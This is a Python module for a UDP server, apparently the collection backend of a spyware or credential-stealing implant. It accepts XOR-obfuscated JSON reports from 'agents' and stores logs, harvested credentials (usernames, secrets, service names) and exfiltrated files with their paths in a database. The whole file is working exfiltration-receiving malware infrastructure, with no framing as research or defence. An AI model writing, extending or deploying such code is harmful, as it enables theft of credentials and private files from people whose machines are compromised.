import socket
import threading
import random
import json
import time

from .config import config
from . import database
from .logging import log_message, LogLevel

class TTFServer:
    def __init__(self, host: str, port: int) -> None:
        self.host = host
        self.port = port

        self.server_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        self.server_socket.bind((self.host, self.port))

        self.key = config['ttf_key']

    def __xor_message(self, msg: str) -> str:
        xored = ''

        for i in range(len(msg)):
            xored += chr(ord(msg[i]) ^ ord(self.key[i % len(self.key)]))

        return(xored)

    def __client_handler(self, address: tuple, msg: bytes) -> None:
        log_message(LogLevel.INFO, f'Connection from {address[0]}')

        try:
            message_json = json.loads(self.__xor_message(msg.decode('utf-8')))

            # Do we already have the agent?
            if len(database.Agent.select().where(database.Agent.agent_id == message_json['id']).dicts()) == 0:
                database.Agent.create(agent_id=message_json['id'], last_log=round(time.time()), logs=0) # Add it

            # Get report type
            if 'logs' in message_json: # Logs
                for log in message_json['logs']:
                    database.Log.create(agent_id=message_json['id'], timestamp=round(time.time()), tag=log['tag'], log=log['log'])        

            elif 'creds' in message_json: # Credentials
                for credential in message_json['creds']:
                    cred_service = None
                    if 'service' in credential:
                        cred_service = credential['service']

                    database.Credential.create(agent_id=message_json['id'], timestamp=round(time.time()), username=credential['user'], secret=credential['secret'], type=credential['type'], service=cred_service)

            elif 'files' in message_json: # Files
                for file in message_json['files']:
                    file_path = None
                    if 'path' in file:
                        file_path = file['path']

                    database.File.create(agent_id=message_json['id'], timestamp=round(time.time()), name=file['name'], path=file_path, data=file['data'])

            else: # Report does not have a log
                log_message(LogLevel.WARN, f'{address[0]} sent a report with no type.')

            # Update the agent's logs count and last_log
            database.Agent.update(logs=database.Agent.logs + 1, last_log=round(time.time())).where(database.Agent.agent_id == message_json['id']).execute()

            log_message(LogLevel.INFO, f'{address[0]}\'s message: {str(message_json)}')

        except Exception as e:
            log_message(LogLevel.ERROR, f'Failed to proccess message from {address[0]}. Error: {e}')

    def start(self) -> None:
        while True:
            try:
                msg, address = self.server_socket.recvfrom(1024)

                client = threading.Thread(target=self.__client_handler, args=(address,msg))
                client.start()
            except Exception as e:
                log_message(LogLevel.ERROR, f'Failed to accept to connection from {address[0]}. Reason: {e}')